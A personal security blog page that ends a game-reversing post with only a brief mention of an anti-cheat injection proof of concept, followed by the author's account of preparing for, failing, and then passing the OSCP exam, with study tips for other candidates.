This blog is not meant to teach reversing a game, but if you would like to deep dive more on reverse engineering, checkout: https://www.unknowncheats.me/ and https://guidedhacking.com/

Other resources:

POC and Conclusion

So, with the basic knowledge we have here, we tried to inject this on one of a common game that is still on ring3 (because ring0 AC’s are much more harder to defeat ?).

BEWARE THAT THE ABOVE SCREENSHOTS ARE ONLY DONE IN A NON-COMPETITIVE MODE, AND ONLY STANDS FOR EDUCATIONAL PURPOSES ONLY. I AM NOT RESPONSIBLE FOR ANY ACTION YOU MAKE WITH THE KNOWLEDGE THAT I SHARED WITH YOU.

And now, we reached the end of this blog, but before I finished this article, I want to say thank you for reading this entire blog, also, I just want to say that I also passed the CISSP last October 2023, but wasn’t able to update here due to lot of workloads.

Again, I am really grateful for your time. Until next time!

Passed OSCP on 2nd Attempt!

sh3nLeave a comment

The preparation

I’ve been preparing this OSCP thing for almost 4 years. No, I am not kidding. This OSCP is a cultivation of all the knowledge you learn in IT/CS course. OSCP is golden standard when it comes to Penetration Testing that’s why I’m really eager to get this one. This is not the most insane technical exam, but I could say it’s close to insane. Most topics you need to be aware prior on taking OSCP are the following but not limited to: Networking, Basic Programming, OS Fundamentals, Web and Application fundamentals, Basic Researching, CyberSecurity methodologies and frameworks and the Art of Being Persistent.

You need to at least know basic networking, so you know how tunnels work, how machine communicates on different protocols, and a lot more! You will also need to understand networking so you can pivot your paths deep on the network you are penetrating. Having a strong background in networking can definitely help you!

You will also need to know Basic Programming. There are times that you want to automate a certain workload than having it doing manual to save time. Having programming on your skill set also strengthen the ability to read code and find probable errors/vulnerability on applications.

OS Fundamentals! Yes, this is important part of your skillset! You need to know the environment of the machines you are attacking. Sometimes, OS are vulnerable to kernel exploits, especially the old and unpatched OS. It’s also important on your skillset so you can quickly navigate through the machine. You need to at least know basic bash and powershell commands!

Web and Application fundamentals, you need to at least understand how web and application behaves. Most often, you need to find a vulnerability on applications so you can gain a foothold on the machine you are attacking.

Basic Researching, this is needed so you know what to search on the search engines, what to look for and what are the part of puzzles you need to find. Think of it like, the internet is a large haystack, and you need to search for a something that you don’t exactly know. You must have a strong critical thinking to find what you exactly need.

CyberSecurity methodologies and frameworks. These are basic concepts in security, like defense-in-depth, zero trust, and a lot more. These concepts can be usually used as opposite when playing in attacker or read team. Once you know he weakness of the network / machines, it’s easy to navigate through.

Art of Being Persistent. This is the willingness to go over and over, trying harder, and not giving up easily! You need to be persistent! You need to have the patience to sit for almost 12 hours a day just to solve a single problem! As OffSec says: “TRY HARDER!”

Before I took OSCP, I went to HTB first. I already talked about HTB on my past article, you can check it here: http://mark.rxmsolutions.com/oscp-a-little-update/.
Basically, I took HTB academy modules first because HTB offers lifetime access to their learning modules. In this way, you can grasp the feeling on how you can effectively use the tools. When you enroll to OSCP, you are only given 90 days to work out the activities and labs, and their pricing is not a joke, so you need to be prepared before jumping in!

Also, as part of my preparation, I also finished boxes as indicated in these link: https://hackersinterview.com/oscp/oscp-like-machines-in-htb-vulnhub-tryhackme/.
They said that these boxes are OSCP-like boxes, so I went for it.

The Fall

So when I finished the activities and secured my bonus points for the OSCP Exam, I feel like I’m confident to jump on the exam.

I booked my OSCP exam. It was a 24-hour proctored exam.
To know more about the exam, check this link: https://help.offsec.com/hc/en-us/articles/360040165632-OSCP-Exam-Guide

During the exam, I was caught in the rabbit holes! I was focusing my energy on the wrong paths.
I cannot discuss anymore regarding the exam content. But my mistake was I’m making things complicated in my head.

I was awake 24 hours trying to pwn machines, but in the end, my scores wasn’t enough to pass my first attempt.

I failed.

The Rise

I went look back to learn what are my mistakes. I did a lot of readings, and practiced more.
And then I booked again for 2nd attempt!

On my 2nd attempt, when I attained the minimum passing score, I feel relieved!
But I still have a few hours left, so I did “TRY HARDER!”.
I stayed awake for almost 19 hours, and rested only for 5 hours.
I didn’t pwnd all machines, but my score is above the minimum 70 points.

After that 24 hour long exam, it feels like a hazing!
But it’s not over yet!
I have to make a report on my findings.
The report submission has 24 hour window.
I composed my report, checked everything, and submitted!

OSCP EXAM REPORT

My report was 35 pages. I included the step-by-step procedure on compromising the targets, and also a lot of screenshot!

After a few days, I received an email from OffSec. I was really anxious while reading the email.
And suddenly my heart skipped a beat!

I passed!

OffSec Certified Professional

For the Future Exam Takers

I will strongly advice to make things not complicated. Try simple solutions first.
I’ll also advice to take a lot of sleep before taking the exam. It’s a 24-hour long exam. You will probably be awake for the next 24 hours.
Second to the last advice I can give is to prepare a lot of foods and water, especially the foods that you can gain a lot of energy. Stay hydrated!.
And my important advice is to, always take a break! Have a lot of window to get rest!

What now?

I also finished the HTB Prolab’s Dante and HTB Prolab’s Offshore!
I’m practicing in the Prolabs because I’m planning to take CPTS soon, but I think I will take it after few more months from now as my focus will be shifted to my other life priorities.

Dante
Offshore

Above all, this wouldn’t be possible without the support of my partner.
I will always love you Ruffa! Thank you for the non-stop support!

Thank you so much for reading this guys!
More writeups to come soon!